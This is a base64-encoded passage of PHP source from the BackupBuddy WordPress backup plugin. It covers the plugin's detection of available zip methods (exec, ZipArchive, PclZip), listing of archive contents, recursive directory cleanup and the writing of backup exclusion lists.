JCQkkemlwLT5jbG9zZSgpOwoJCQkJCWlmICggZmlsZV9leGlzdHMoICR0ZXN0X2ZpbGUgKSApIHsKCQkJCQkJdW5saW5rKCAkdGVzdF9maWxlICk7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1ppcEFyY2hpdmUgdGVzdCBwYXNzZWQuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQlyZXR1cm4gdHJ1ZTsKCQkJCQl9IGVsc2UgewoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXBBcmNoaXZlIHRlc3QgZmFpbGVkOiBaaXAgZmlsZSBub3QgZm91bmQuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQkJfQoJCQkJfSBlbHNlIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXBBcmNoaXZlIHRlc3QgRkFJTEVEOiBVbmFibGUgdG8gY3JlYXRlL29wZW4gemlwIGZpbGUuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJfQoJCX0KCQkKCQkKCQkKCQkvKglnZXRfZmlsZV9saXN0KCkKCQkgKgkKCQkgKglHZXQgYW4gYXJyYXkgb2YgYWxsIGZpbGVzIGluIGEgemlwIGZpbGUuCgkJICoJCgkJICoJQHBhcmFtCQkKCQkgKglAcmV0dXJuCQlhcnJheQkKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZ2V0X2ZpbGVfbGlzdCggJHppcF9maWxlICkgewoJCQoJCQkkZmlsZV9saXN0ID0gYXJyYXkoKTsKCQkJCgkJCS8vIFVzZSBaaXBBcmNoaXZlIGlmIGF2YWlsYWJsZQoJCQlpZiAoIGluX2FycmF5KCAnemlwYXJjaGl2ZScsICR0aGlzLT5femlwX21ldGhvZHMgKSApIHsKCQkJCgkJCQkvLyBNYWtlIGRvdWJseSBzdXJlIGl0IGlzIGF2YWlsYWJsZQoJCQkJaWYgKCBjbGFzc19leGlzdHMoICdaaXBBcmNoaXZlJywgZmFsc2UpICkgewoJCQkJCgkJCQkJJHphID0gbmV3IFppcEFyY2hpdmUoKTsKCQkJCQkkcmVzdWx0ID0gJHphLT5vcGVuKCAkemlwX2ZpbGUgKTsKCQkJCQkKCQkJCQkvLyBNYWtlIHN1cmUgd2Ugb3BlbmVkIHRoZSB6aXAgb2sgYW5kIGl0IGhhcyBjb250ZW50CgkJCQkJaWYgKCAkcmVzdWx0ID09PSB0cnVlICkgewoJCQkJCQoJCQkJCQlpZiAoICggJGZpbGVfY291bnQgPSAkemEtPm51bUZpbGVzICkgPiAwICkgewoJCQkJCQoJCQkJCQkJLy8gR2V0IGVhY2ggZmlsZSBpbiBzZXF1ZW5jZSBieSBpbmRleCBhbmQgZ2V0IHRoZSBwcm9wZXJ0aWVzCgkJCQkJCQlmb3IoICRpID0gMDsgJGkgPCAkZmlsZV9jb3VudDsgJGkrKyApewoJCQkJCQkJCgkJCQkJCQkJJHN0YXQgPSAkemEtPnN0YXRJbmRleCggJGkgKTsKCQkJCQkJCQkKCQkJCQkJCQkvLyBBc3N1bWUgYWxsIHRoZXNlIGtleXMgZG8gZXhpc3QgKGNvbnNpZGVyIHRlc3RpbmcpCgkJCQkJCQkJJGZpbGVfbGlzdFtdID0gYXJyYXkoCgkJCQkJCQkJCSRzdGF0WyduYW1lJ10sCgkJCQkJCQkJCSRzdGF0WydzaXplJ10sCgkJCQkJCQkJCSRzdGF0Wydjb21wX3NpemUnXSwKCQkJCQkJCQkJJHN0YXRbJ210aW1lJ10sCgkJCQkJCQkJKTsKCQkJCQkJCQkKCQkJCQkJCX0KCQkJCQkJCQoJCQkJCQl9CgkJCQkJCQoJCQkJCQkkemEtPmNsb3NlKCk7CgkJCQkJCQoJCQkJCQlyZXR1cm4gJGZpbGVfbGlzdDsKCQkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJLy8gQ291bGRuJ3Qgb3BlbiBhcmNoaXZlIC0gZHJvcCB0aHJvdWdoIGFzIG1heWJlIG90aGVyIG1ldGhvZCB3aWxsIHN1Y2NlZWQ/CgkJCQkJCSRlcnJvcl9zdHJpbmcgPSAkdGhpcy0+emlwYXJjaGl2ZV9lcnJvcl9pbmZvKCAkcmVzdWx0ICk7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1ppcEFyY2hpdmUgZmFpbGVkIHRvIG9wZW4gZmlsZSB0byBsaXN0IGNvbnRlbnQgaW4gZmlsZSAlMSRzIC0gRXJyb3IgSW5mbzogJTIkcy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX2ZpbGUsICRlcnJvcl9zdHJpbmcgKSApOwoJCQkJCQoJCQkJCX0KCQkJCQoJCQkJfSBlbHNlIHsKCQkJCQoJCQkJCS8vIFNvbWV0aGluZyBmaXNoeSAtIHRoZSBtZXRob2RzIGluZGljYXRlZCB6aXBhcmNoaXZlIGJ1dCB3ZSBjb3VsZG4ndCBmaW5kIHRoZSBjbGFzcwoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ3ppcGFyY2hpdmUgaW5kaWNhdGVkIGFzIGF2YWlsYWJsZSBtZXRob2QgYnV0IFppcEFyY2hpdmUgY2xhc3Mgbm9uLWV4aXN0ZW50JywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCgkJCQl9CgkJCQkKCQkJfQoJCQkKCQkJLy8gRHJvcHBlZCB0aHJvdWdoIGJlY2F1c2UgWmlwQXJjaGl2ZSBub3QgYXZhaWxhYmxlIG9yIGZhaWxlZCB0byBvcGVuIGZpbGUKCQkJaWYgKCBpbl9hcnJheSggJ3BjbHppcCcsICR0aGlzLT5femlwX21ldGhvZHMgKSApIHsKCQkJCgkJCQkvLyBNYWtlIHN1cmUgd2UgaGF2ZSBpdAoJCQkJaWYgKCAhY2xhc3NfZXhpc3RzKCAnUGNsWmlwJywgZmFsc2UgKSApIHsKCQkJCQoJCQkJCS8vIEl0J3Mgbm90IGFscmVhZHkgbG9hZGVkIHNvIHRyeSBhbmQgZmluZC9sb2FkIGl0IGZyb20gcG9zc2libGUgbG9jYXRpb25zCgkJCQkJaWYgKCBmaWxlX2V4aXN0cyggQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy9jbGFzcy1wY2x6aXAucGhwJyApICkgewoJCQkJCQoJCQkJCQkvLyBSdW5uaW5nIHVuZGVyIFdvcmRQcmVzcwoJCQkJCQlAaW5jbHVkZV9vbmNlKCBBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL2NsYXNzLXBjbHppcC5waHAnICk7CgkJCQkJCQoJCQkJCX0gZWxzZWlmICggZmlsZV9leGlzdHMoIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9saWIvcGNsemlwL3BjbHppcC5waHAnICkgKSB7CgkJCQkJCgkJCQkJCS8vIFJ1bm5pbmcgU3RhbmRhbG9uZSAoaW1wb3J0YnVkZHkpCgkJCQkJCUBpbmNsdWRlX29uY2UoIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9saWIvcGNsemlwL3BjbHppcC5waHAnICk7CgkJCQkJCQoJCQkJCX0KCQkJCQkKCQkJCX0KCQkJCQoJCQkJLy8gTWFrZSBzdXJlIHdlIGRpZCBsb2FkIGl0CgkJCQlpZiAoIGNsYXNzX2V4aXN0cyggJ1BjbFppcCcsIGZhbHNlICkgKSB7CgkJCQkKCQkJCQkkemEgPSBuZXcgUGNsWmlwKCAkemlwX2ZpbGUgKTsKCQkJCQkKCQkJCQkvLyBNYWtlIHN1cmUgd2Ugb3BlbmVkIHRoZSB6aXAgb2sgYW5kIGl0IGhhcyBjb250ZW50CgkJCQkJaWYgKCAoICRjb250ZW50X2xpc3QgPSAkemEtPmxpc3RDb250ZW50KCkgKSAhPT0gMCApIHsKCQkJCQkKCQkJCQkJJGZpbGVfY291bnQgPSBzaXplb2YoICRjb250ZW50X2xpc3QgKTsKCQkJCQkJCgkJCQkJCS8vIEdldCBlYWNoIGZpbGUgaW4gc2VxdWVuY2UgYnkgaW5kZXggYW5kIGdldCB0aGUgcHJvcGVydGllcwoJCQkJCQlmb3IgKCAkaSA9IDA7ICRpIDwgJGZpbGVfY291bnQ7ICRpKysgKSB7CgkJCQkJCQoJCQkJCQkJJHN0YXQgPSAkY29udGVudF9saXN0WyAkaSBdOwoJCQkJCQkJCgkJCQkJCQkvLyBBc3N1bWUgYWxsIHRoZXNlIGtleXMgZG8gZXhpc3QgKGNvbnNpZGVyIHRlc3RpbmcpCgkJCQkJCQkkZmlsZV9saXN0W10gPSBhcnJheSgKCQkJCQkJCQkkc3RhdFsgJ2ZpbGVuYW1lJyBdLAoJCQkJCQkJCSRzdGF0WyAnc2l6ZScgXSwKCQkJCQkJCQkkc3RhdFsgJ2NvbXByZXNzZWRfc2l6ZScgXSwKCQkJCQkJCQkkc3RhdFsgJ210aW1lJyBdCgkJCQkJCQkpOwoJCQkJCQkJCgkJCQkJCX0KCQkJCQkJCgkJCQkJCXJldHVybiAkZmlsZV9saXN0OwoKCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQkvLyBDb3VsZG4ndCBvcGVuIGFyY2hpdmUgLSBkcm9wIHRocm91Z2ggYXMgbWF5YmUgb3RoZXIgbWV0aG9kIHdpbGwgc3VjY2VlZD8KCQkJCQkJJGVycm9yX3N0cmluZyA9ICR6YS0+ZXJyb3JJbmZvKCB0cnVlICk7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1BjbFppcCBmYWlsZWQgdG8gb3BlbiBmaWxlIHRvIGxpc3QgY29udGVudCBpbiBmaWxlICUxJHMgLSBFcnJvciBJbmZvOiAlMiRzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGVycm9yX3N0cmluZyApICk7CgkJCQkJCgkJCQkJfQoJCQkJCQoJCQkJfSBlbHNlIHsKCQkJCQoJCQkJCS8vIFNvbWV0aGluZyBmaXNoeSAtIHRoZSBtZXRob2RzIGluZGljYXRlZCBwY2x6aXAgYnV0IHdlIGNvdWxkbid0IGZpbmQgdGhlIGNsYXNzCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygncGNsemlwIGluZGljYXRlZCBhcyBhdmFpbGFibGUgbWV0aG9kIGJ1dCBjbGFzcyBQY2xaaXAgbm9uLWV4aXN0ZW50JywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQkvLyBJZiB3ZSBnb3QgdGhpcyBmYXIgdGhlbiBubyBtZXRob2QgdG8gbGlzdCBiYWNrdXAgY29udGVudCB3YXMgYXZhaWxhYmxlIG9yIHdvcmtlZAoJCQlyZXR1cm4gZmFsc2U7CgkJCQoJCX0gLy8gRW5kIGdldF9maWxlX2xpc3QoKS4KCQkKCQkKCQkJCQkJCQkKCQkvKglhdmFpbGFibGVfemlwX21ldGhvZHMoKQoJCSAqCQoJCSAqCVRlc3QgYXZhaWxhYmlsaXR5IG9mIHppcCBtZXRob2RzIHRvIGRldGVybWluZSB3aGljaCBleGlzdCBhbmQgYWN0dWFsbHkgd29yay4KCQkgKglEZXRlY3RzIHRoZSBhdmFpbGFibGUgemlwcGluZyBtZXRob2RzIG9uIHRoaXMgc2VydmVyLiBUZXN0cyBjb21tYW5kIGxpbmUgemlwIHZpYSBleGVjKCksIFBIUCdzIFppcEFyY2hpdmUsIG9yIGVtdWxhdGVkIHppcCB2aWEgdGhlIFBIUCBQQ0xaaXAgbGlicmFyeS4KCQkgKglUT0RPOiBBY3R1YWxseSB0ZXN0IHVuemlwcGluZyBpbiB1bnppcCBtb2RlIG5vdCBqdXN0IHppcHBpbmcgYW5kIGFzc3VtaW5nIHRoZSBvdGhlciB3aWxsIHdvcmsKCQkgKgkKCQkgKglAcGFyYW0JCWJvb2xlYW4JCSRyZXR1cm5fYmVzdAkKCQkgKglAcGFyYW0JCXN0cmluZwkJJG1vZGUJCQlQb3NzaWJsZSB2YWx1ZXM6IHppcCwgdW56aXAKCQkgKglAcmV0dXJuCQlhcnJheQkJCQkJCVBvc3NpYmxlIHJldHVybiB2YWx1ZXM6IGV4ZWMsIHppcGFyY2hpdmUsIHBjbHppcAoJCSAqLwoJCWZ1bmN0aW9uIGF2YWlsYWJsZV96aXBfbWV0aG9kcyggJHJldHVybl9iZXN0ID0gdHJ1ZSwgJG1vZGUgPSAnemlwJyApIHsKCQkJJHJldHVybiA9IGFycmF5KCk7CgkJCSR0ZXN0X2ZpbGUgPSAkdGhpcy0+X3RlbXBkaXIgLiAndGVtcF8nIC4gdW5pcWlkKCkgLiAnLnppcCc7CgkJCQoJCQkvLyBUZXN0IGNvbW1hbmQtbGluZSBaSVAuCgkJCWlmICggZnVuY3Rpb25fZXhpc3RzKCAnZXhlYycgKSApIHsKCQkJCSRjb21tYW5kID0gJ3ppcCc7CgkJCQkkcnVuX2V4ZWNfemlwX3Rlc3QgPSB0cnVlOwoJCQkJCgkJCQkvLyBIYW5kbGUgd2luZG93cy4KCQkJCWlmICggc3RyaXN0ciggUEhQX09TLCAnV0lOJyApICYmICFzdHJpc3RyKCBQSFBfT1MsICdEQVJXSU4nICkgKSB7IC8vIFJ1bm5pbmcgV2luZG93cy4gKG5vdCBkYXJ3aW4pCgkJCQkJaWYgKCBmaWxlX2V4aXN0cyggQUJTUEFUSCAuICd6aXAuZXhlJyApICkgewoJCQkJCQkkY29tbWFuZCA9IEFCU1BBVEggLiAkY29tbWFuZDsKCQkJCQl9CgkJCQkJLy8gSWYgdW56aXAgbW9kZSBhbmQgdW56aXAuZXhlIGlzIGZvdW5kIHRoZW4gYXNzdW1lIHdlIGhhdmUgdGhhdCBvcHRpb24gZm9yIHVuemlwcGluZyBzaW5jZSB3ZSBhcmVudCBhY3R1YWxseSB0ZXN0aW5nIHVuemlwLgoJCQkJCWlmICggJG1vZGUgPT0gJ3VuemlwJyApIHsKCQkJCQkJJHJ1bl9leGVjX3ppcF90ZXN0ID0gZmFsc2U7CgkJCQkJCWlmICggZmlsZV9leGlzdHMoIEFCU1BBVEggLiAndW56aXAuZXhlJyApICkgewoJCQkJCQkJYXJyYXlfcHVzaCggJHJldHVybiwgJ2V4ZWMnICk7CgkJCQkJCX0KCQkJCQl9CgkJCQkJCgkJCQkJJGV4ZWNfcGF0aHMgPSBhcnJheSggJycgKTsKCQkJCX0gZWxzZSB7IC8vICpOSVggc3lzdGVtLgoJCQkJCSRleGVjX3BhdGhzID0gYXJyYXkoICcnLCAnL3Vzci9iaW4vJywgJy91c3IvbG9jYWwvYmluLycsICcvdXNyL2xvY2FsL3NiaW4vJywgJy91c3Ivc2Jpbi8nLCAnL3NiaW4vJywgJy9iaW4vJyApOyAvLyBJbmNsdWRlIHByZWNlZWRpbmcgJiB0cmFpbGluZyBzbGFzaC4KCQkJCX0KCQkJCQoJCQkJaWYgKCAkcnVuX2V4ZWNfemlwX3Rlc3QgPT09IHRydWUgKSB7CgkJCQkJLy8gUG9zc2libGUgbG9jYXRpb25zIHRvIGZpbmQgdGhlIFpJUCBleGVjdXRhYmxlLiBTdGFydCB3aXRoIGEgYmxhbmsgc3RyaW5nIHRvIGF0dGVtcHQgdG8gcnVuIGluIGN1cnJlbnQgZGlyZWN0b3J5LgoJCQkJCQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1RyeWluZyBleGVjKCkgaW4gdGhlIGZvbGxvd2luZyBwYXRoczogYCcgLiBpbXBsb2RlKCAnLCcsICRleGVjX3BhdGhzICkgLiAnYCcgKTsKCQkJCQkKCQkJCQkkZXhlY19jb21wbGV0aW9uID0gZmFsc2U7IC8vIGRlZmF1bHQgc3RhdGUuCgkJCQkJd2hpbGUoICRleGVjX2NvbXBsZXRpb24gPT09IGZhbHNlICkgeyAvLyBDaGVjayBhbGwgcG9zc2libGUgemlwIHBhdGggbG9jYXRpb25zIHN0YXJ0aW5nIHdpdGggY3VycmVudCBkaXIuIFVzdWFsbHkgdGhlIHBhdGggaXMgc2V0IHRvIG1ha2UgdGhpcyB3b3JrIHdpdGhvdXQgaHVudGluZy4KCQkJCQkJaWYgKCBlbXB0eSggJGV4ZWNfcGF0aHMgKSApIHsKCQkJCQkJCSRleGVjX2NvbXBsZXRpb24gPSB0cnVlOwoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgX18oICdFeGhhdXN0ZWQgYWxsIGtub3duIGV4ZWMoKSBwYXRoIHBvc3NpYmlsaXRpZXMgd2l0aCBubyBzdWNjZXNzLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCQlicmVhazsKCQkJCQkJfQoJCQkJCQkkcGF0aCA9IGFycmF5X3NoaWZ0KCAkZXhlY19wYXRocyApOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCAnVHJ5aW5nIGV4ZWMoKSBaSVAgcGF0aDonLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICcgYCcgLiAkcGF0aCAuICdgLicgKTsKCQkJCQkJCgkJCQkJCSRleGVjX2NvbW1hbmQgPSAkcGF0aCAuICRjb21tYW5kIC4gJyAiJyAuICR0ZXN0X2ZpbGUgLiAnIiAiJyAuIF9fRklMRV9fIC4gJyIgIDI+JjEnOyAvLyAgMj4mMSB0byByZWRpcmVjdCBTVFJFUlIgdG8gU1RET1VULgoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdaaXAgdGVzdCBleGVjKCkgY29tbWFuZDogYCcgLiAkZXhlY19jb21tYW5kIC4gJ2AnICk7CgkJCQkJCWxpc3QoICRleGVjX291dHB1dCwgJGV4ZWNfZXhpdF9jb2RlICkgPSAkdGhpcy0+X2NvbW1hbmRidWRkeS0+ZXhlY3V0ZSggJGV4ZWNfY29tbWFuZCApOwoJCQkJCQkKCQkJCQkJaWYgKCAoICFmaWxlX2V4aXN0cyggJHRlc3RfZmlsZSApICkgfHwgKCAkZXhlY19leGl0X2NvZGUgPT0gJy0xJyApICkgeyAvLyBGaWxlIG5vdCBtYWRlIG9yIGVycm9yIHJldHVybmVkLgoJCQkJCQkJJGV4ZWNfY29tcGxldGlvbiA9IGZhbHNlOwoJCQkJCQkJCgkJCQkJCQlpZiAoICRleGVjX2V4aXRfY29kZSA9PSAnLTEnICkgewoJCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdFeGVjIGNvbW1hbmQgcmV0dXJuZWQgLTEuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkJCX0KCQkJCQkJCWlmICggIWZpbGVfZXhpc3RzKCAkdGVzdF9maWxlICkgKSB7CgkJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ0V4ZWMgY29tbWFuZCByYW4gYnV0IFpJUCBmaWxlIGRpZCBub3QgZXhpc3QuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkJCX0KCQkJCQkJCWlmICggZmlsZV9leGlzdHMoICR0ZXN0X2ZpbGUgKSApIHsgLy8gSWYgZmlsZSB3YXMgc29tZWhvdyBjcmVhdGVkLCBkbyBjbGVhbnVwIG9uIGl0LgoJCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdDbGVhbmluZyB1cCBkYW1hZ2VkIFpJUCBmaWxlLiBJc3N1ZSAjMzQ4OTMyODk5OC4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQkJCXVubGluayggJHRlc3RfZmlsZSApOwoJCQkJCQkJfQoJCQkJCQl9IGVsc2UgeyAvLyBTdWNjZXNzLgoJCQkJCQkJJGV4ZWNfY29tcGxldGlvbiA9IHRydWU7CgkJCQkJCQkKCQkJCQkJCWlmICggIXVubGluayggJHRlc3RfZmlsZSApICkgewoJCQkJCQkJCWVjaG8gc3ByaW50ZiggX18oICdFcnJvciAjNTY0NjM0LiBVbmFibGUgdG8gZGVsZXRlIHRlc3QgZmlsZSAoJXMpIScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkdGVzdF9maWxlICk7CgkJCQkJCQl9CgkJCQkJCQlhcnJheV9wdXNoKCAkcmV0dXJuLCAnZXhlYycgKTsKCQkJCQkJCSR0aGlzLT5fZXhlY3BhdGggPSAkcGF0aDsKCQkJCQkJCQoJCQkJCQkJYnJlYWs7CgkJCQkJCX0KCQkJCQl9IC8vIGVuZCB3aGlsZQoJCQkJfSAvLyBFbmQgJHJ1bl9leGVjX3Rlc3QgPT09IHRydWUuCgkJCX0gLy8gRW5kIGZ1bmN0aW9uX2V4aXN0cyggJ2V4ZWMnICkuCgkJCQoJCQkvLyBUZXN0IFppcEFyY2hpdmUKCQkJaWYgKCBjbGFzc19leGlzdHMoICdaaXBBcmNoaXZlJyApICkgewoJCQkJaWYgKCAkdGhpcy0+dGVzdF96aXBhcmNoaXZlKCkgPT09IHRydWUgKSB7CgkJCQkJYXJyYXlfcHVzaCggJHJldHVybiwgJ3ppcGFyY2hpdmUnICk7CgkJCQl9CgkJCX0KCQkJCgkJCS8vIFRlc3QgUENMWmlwCgkJCWlmICggY2xhc3NfZXhpc3RzKCAnUGNsWmlwJyApICkgeyAvLyBDbGFzcyBhbHJlYWR5IGxvYWRlZC4KCQkJCWFycmF5X3B1c2goICRyZXR1cm4sICdwY2x6aXAnICk7CgkJCX0gZWxzZSB7IC8vIENsYXNzIG5vdCBsb2FkZWQuIFNlZWsgaXQgb3V0LgoJCQkJCgkJCQlpZiAoIGZpbGVfZXhpc3RzKCBBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL2NsYXNzLXBjbHppcC5waHAnICkgKSB7IC8vIEluc2lkZSBXUC4KCQkJCQlyZXF1aXJlX29uY2UoIEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvY2xhc3MtcGNsemlwLnBocCcgKTsKCQkJCQlhcnJheV9wdXNoKCAkcmV0dXJuLCAncGNsemlwJyApOwoJCQkJfSBlbHNlaWYgKCBmaWxlX2V4aXN0cyggcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi9wY2x6aXAvcGNsemlwLnBocCcgKSApIHsgLy8gSW1wb3J0QnVkZHkuCgkJCQkJcmVxdWlyZV9vbmNlKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliL3BjbHppcC9wY2x6aXAucGhwJyApOwoJCQkJCWFycmF5X3B1c2goICRyZXR1cm4sICdwY2x6aXAnICk7CgkJCQl9CgkJCQkKCQkJfQoJCQkKCQkJcmV0dXJuICRyZXR1cm47CgkJfSAvLyBFbmQgYXZhaWxhYmxlX3ppcF9tZXRob2RzKCkuCgkJCgkJCgkJCgkJLy8gUmVjdXJzaXZlbHkgZGVsZXRlIGEgZGlyZWN0b3J5IGFuZCBhbGwgY29udGVudCB3aXRoaW4uCgkJZnVuY3Rpb24gZGVsZXRlX2RpcmVjdG9yeV9yZWN1cnNpdmUoICRkaXJlY3RvcnkgKSB7CgkJCWlmICggJycgPT0gJGRpcmVjdG9yeSApIHsKCQkJCWVycm9yX2xvZyggJ0JhY2t1cEJ1ZGR5IEVycm9yICM0NzM4NDNiOiBIYWx0ZWQgZW1wdHkgZGlyZWN0b3J5IGRlbGV0aW9uLicgKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCQkKCQkJJGRpcmVjdG9yeSA9IHByZWdfcmVwbGFjZSggJ3xbL1xcXFxdKyR8JywgJycsICRkaXJlY3RvcnkgKTsKCQkJCgkJCSRmaWxlcyA9IGdsb2IoICRkaXJlY3RvcnkgLiAnLyonLCBHTE9CX01BUksgKTsKCQkJaWYgKCBpc19hcnJheSggJGZpbGVzICkgJiYgIWVtcHR5KCAkZmlsZXMgKSApIHsKCQkJCWZvcmVhY2goICRmaWxlcyBhcyAkZmlsZSApIHsKCQkJCQlpZiggJy8nID09PSBzdWJzdHIoICRmaWxlLCAtMSApICkKCQkJCQkJJHRoaXMtPmRlbGV0ZV9kaXJlY3RvcnlfcmVjdXJzaXZlKCAkZmlsZSApOwoJCQkJCWVsc2UKCQkJCQkJdW5saW5rKCAkZmlsZSApOwoJCQkJfQoJCQl9CgkJCQoJCQlpZiAoIGlzX2RpciggJGRpcmVjdG9yeSApICkgcm1kaXIoICRkaXJlY3RvcnkgKTsKCQkJCgkJCWlmICggaXNfZGlyKCAkZGlyZWN0b3J5ICkgKQoJCQkJcmV0dXJuIGZhbHNlOwoJCQlyZXR1cm4gdHJ1ZTsKCQl9IC8vIEVuZCBkZWxldGVfZGlyZWN0b3J5X3JlY3Vyc2l2ZSgpLgoJCQoJCQoJCQoJCWZ1bmN0aW9uIHNldF96aXBfbWV0aG9kcyggJG1ldGhvZHMgKSB7CgkJCSR0aGlzLT5femlwX21ldGhvZHMgPSAkbWV0aG9kczsKCQl9IC8vIEVuZCBzZXRfemlwX21ldGhvZHMoKS4KCQkKCQkKCQkKCQkvKglfcmVuZGVyX2V4Y2x1c2lvbnNfZmlsZSgpCgkJICoJCgkJICoJZnVuY3Rpb24gZGVzY3JpcHRpb24KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkJJGZpbGUJCQlGaWxlIHRvIHdyaXRlIGV4Y2x1c2lvbnMgaW50by4KCQkgKglAcGFyYW0JCWFycmF5CQkkZXhjbHVzaW9ucwkJQXJyYXkgb2YgZGlyZWN0b3JpZXMvcGF0aHMgdG8gZXhjbHVkZS4gT25lIHBlciBsaW5lLgoJCSAqCUBwYXJhbQkJYXRyaW5nCQkkcm9vdAkJCVJvb3QgZGlyZWN0b3J5IHRvIGV4Y2x1ZGUgcmVsYXRpdmUgdG8uCgkJICoJQHJldHVybgkJbnVsbAoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBfcmVuZGVyX2V4Y2x1c2lvbnNfZmlsZSggJGZpbGUsICRleGNsdXNpb25zLCAkcm9vdCA9ICcnICkgewoJCQlpZiAoICcnID09ICRyb290ICkgewoJCQkJJHJvb3QgPSBBQlNQQVRIOwoJCQl9IGVsc2UgewoJCQkJJHJvb3QgPSBydHJpbSggJHJvb3QsIERJUkVDVE9SWV9TRVBBUkFUT1IgKSAuIERJUkVDVE9SWV9TRVBBUkFUT1I7CgkJCX0KCgkJCS8vIEFycmF5IGZvciBjbGVhbmVkIHVwIGV4Y2x1c2lvbnMgbGlzdAoJCQkkc2FuaXRpemVkX2V4Y2x1c2lvbnMgPSBhcnJheSgpOwoJCQkKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQ3JlYXRpbmcgYmFja3VwIGV4Y2x1c2lvbnMgZmlsZSBgJyAuICRmaWxlIC4gJ2AuJyApOwoJCQkvLyRleGNsdXNpb25zID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0X2RpcmVjdG9yeV9leGNsdXNpb25zKCk7CgkJCQoJCQkvLyBUZXN0IGVhY2ggZXhjbHVzaW9uIGZvciB2YWxpZGl0eSAocHJlc2VuY2UpIGFuZCBkcm9wIHRob3NlIG5vdCBhY3R1YWxseSBwcmVzZW50CgkJCWZvcmVhY2goICRleGNsdXNpb25zIGFzICRleGNsdXNpb24gKSB7CgkJCQkKCQkJCS8vIE1ha2Ugc3VyZSBwbGF0Zm9ybSBzcGVjaWZpYyBkaXJlY3Rvcnkgc2VwYXJhdG9ycyBhcmUgdXNlZCAoY291bGQgaGF2ZSBtaWdyYXRlZCBmcm9tIGRpZmZlcmVudCBwbGF0Zm9ybSkKCQkJCSRleGNsdXNpb24gPSBwcmVnX3JlcGxhY2UoICd8WycgLiBhZGRzbGFzaGVzKCBzZWxmOjpESVJFQ1RPUllfU0VQQVJBVE9SUyApIC4gJ10rfCcsIERJUkVDVE9SWV9TRVBBUkFUT1IsICRleGNsdXNpb24gKTsKCQkJCQoJCQkJLy8gRElSRUNUT1JZLgoJCQkJaWYgKCBpc19kaXIoICRyb290IC4gbHRyaW0oICRleGNsdXNpb24sIERJUkVDVE9SWV9TRVBBUkFUT1IgKSApICkgewoJCQkJCQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0V4Y2x1ZGluZyBkaXJlY3RvcnkgYCcgLiAkZXhjbHVzaW9uIC4gJ2AuJyApOwoJCQkJCQoJCQkJCS8vIE5lZWQgdG8gYWRkIHRoZSB3aWxkY2FyZCBzbyB0aGF0IHppcCB3aWxsIGV4Y2x1ZGUgdGhlIGRpcmVjdG9yeSBhbmQgY29udGVudAoJCQkJCSRleGNsdXNpb24gPSBydHJpbSggJGV4Y2x1c2lvbiwgRElSRUNUT1JZX1NFUEFSQVRPUiApIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICcq